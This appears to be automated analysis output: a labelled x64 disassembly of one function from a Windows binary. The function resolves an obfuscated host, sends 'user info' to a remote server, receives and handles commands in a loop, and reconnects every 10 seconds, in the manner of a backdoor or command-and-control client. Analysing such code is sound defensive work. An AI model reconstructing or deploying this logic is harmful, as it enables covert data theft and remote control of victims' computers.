Function at 0x14000a550
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x14001c040]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
xor r14d, r14d
mov esi, r14d
mov dword [rbp - 0x58], r14d
call fcn.140002c40
mov ecx, 0x202
lea rdx, [rbp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000a5e8
mov edx, eax
lea rcx, [rbp + 0x10]
call fcn.1400109b0
nop
mov r8, rax
lea rdx, str.WSAStartup_failed_with_error:
lea rcx, [rsp + 0x60]
call fcn.140008510
nop
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1400011e0
lea rdx, [0x1400189b0]
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
movabs rdi, 0x7ffffffdabf41bff
mov r15d, 0xff
movabs r12, 0x4e94914effff
movabs r13, 0x431bde82d7b634db
nop dword [rax]
mov qword [rbp - 0x58], 0xffffffffffffffff
lea rdx, str.MWZuSZ_VITD
lea rcx, [rbp - 0x30]
call fcn.14000a470
nop
lea rdx, str.NpUEq
lea rcx, [rbp - 0x50]
call fcn.14000a470
nop
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov qword [rbp - 0x60], r14
mov qword [rbp + 0x10], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x18], 1
mov dword [rbp + 0x1c], 6
lea r9, [rbp - 0x60]
lea r8, [rbp + 0x10]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
test eax, eax
je 0x14000a6c0
lea rdx, str.getaddrinfo_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000a71b
mov rdi, qword [rbp - 0x60]
test rdi, rdi
je 0x14000a711
nop dword [rax]
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000a708
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000a769
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x14000a6d0
movabs rdi, 0x7ffffffdabf41bff
lea rdx, str.Unable_to_connect_to_server__retrying_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
lea rcx, [rsp + 0x50]
call fcn.14000a390
mov rax, qword [rsp + 0x50]
cmp rax, rdi
je 0x14000acf6
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jns 0x14000acf6
movabs rbx, 0x2540be400
add rbx, rax
jmp 0x14000ad00
mov rcx, qword [rbp - 0x58]
cmp rcx, 0xffffffffffffffff
je 0x14000a779
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp - 0x58], rbx
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, [rsp + 0x60]
call fcn.140006970
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.1400067d0
nop
mov r8d, 1
lea rdx, [0x1400149f0]
mov rcx, rax
call fcn.140007ef0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], 0
or esi, 8
mov r9, rbx
lea r8, [rsp + 0x20]
lea rcx, [rbp - 0x10]
call fcn.140009920
or esi, 4
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14000a828
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a822
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad6c
call fcn.140011690
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000a863
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a85e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad73
call fcn.140011690
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], recv
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000a8b0
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a8ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad7a
call fcn.140011690
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], socket
mov byte [rsp + 0x60], 0
cmp qword [rbp], 0
jne 0x14000a8da
lea rdx, str.User_info_string_is_empty__nothing_to_send.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x14000a951
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
xor r9d, r9d
mov r8d, dword [rbp]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14000a929
lea rdx, str.Failed_to_send_user_info._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008640
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x14000a956
lea rdx, str.Successfully_sent
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008640
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._bytes_of_user_info_to_the_server.
call fcn.140008640
lea rdx, [0x140008810]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1e0]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14000aaeb
nop dword [rax + rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x14000ad8f
mov byte [rbp + rcx + 0x1e0], 0
lea rdx, str.Received_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140008110
mov rcx, rax
lea rdx, [rbp + 0x1e0]
call fcn.14000adb0
lea rdx, [0x1400084d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x1e0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000aa00
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x20]
call fcn.140009120
nop
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x10]
call fcn.140002780
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14000aa68
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aa63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad81
call fcn.140011690
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], socket
mov byte [rsp + 0x20], 0
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x10]
call fcn.140005990
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000aac9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad88
call fcn.140011690
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1e0]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x14000a990
jne 0x14000abbc
lea rdx, str.Connection_closed_by_server._Reconnecting_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140008110
lea rcx, [rsp + 0x40]
call fcn.14000a390
mov rax, qword [rsp + 0x40]
movabs rdi, 0x7ffffffdabf41bff
cmp rax, rdi
je 0x14000ab3e
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jns 0x14000ab3e
movabs rbx, 0x2540be400
add rbx, rax
jmp 0x14000ab50
movabs rbx, 0x7fffffffffffffff
nop dword [rax + rax]
lea rcx, [rsp + 0x48]
call fcn.14000a390
mov rax, qword [rsp + 0x48]
cmp rbx, rax
je 0x14000abfc
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jle 0x14000abfc
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jg 0x14000abb0
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14000aba7
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14000ab50
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x14000ab50
lea rdx, str.recv_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008110
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140014a98]
call fcn.14000adb0
movabs rdi, 0x7ffffffdabf41bff
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000ac37
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad95
call fcn.140011690
mov qword [rbp], r14
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000ac82
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000ac7d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad9c
call fcn.140011690
mov byte [rbp - 0x50], 0
mov qword [rbp - 0x38], recv
mov qword [rbp - 0x40], r14
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000accd
inc rdx
mov rcx, qword [rbp - 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000acc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ada3
call fcn.140011690
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], recv
mov byte [rbp - 0x30], 0
mov rcx, qword [rbp - 0x58]
cmp rcx, 0xffffffffffffffff
je 0x14000a610
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14000a610
movabs rbx, 0x7fffffffffffffff
lea rcx, [rsp + 0x58]
call fcn.14000a390
mov rax, qword [rsp + 0x58]
cmp rbx, rax
je 0x14000ac47
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jle 0x14000ac47
mov rcx, rbx
sub rcx, rax
cmp rcx, r12
jg 0x14000ad60
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14000ad57
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14000ad00
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x14000ad00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400111a8
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3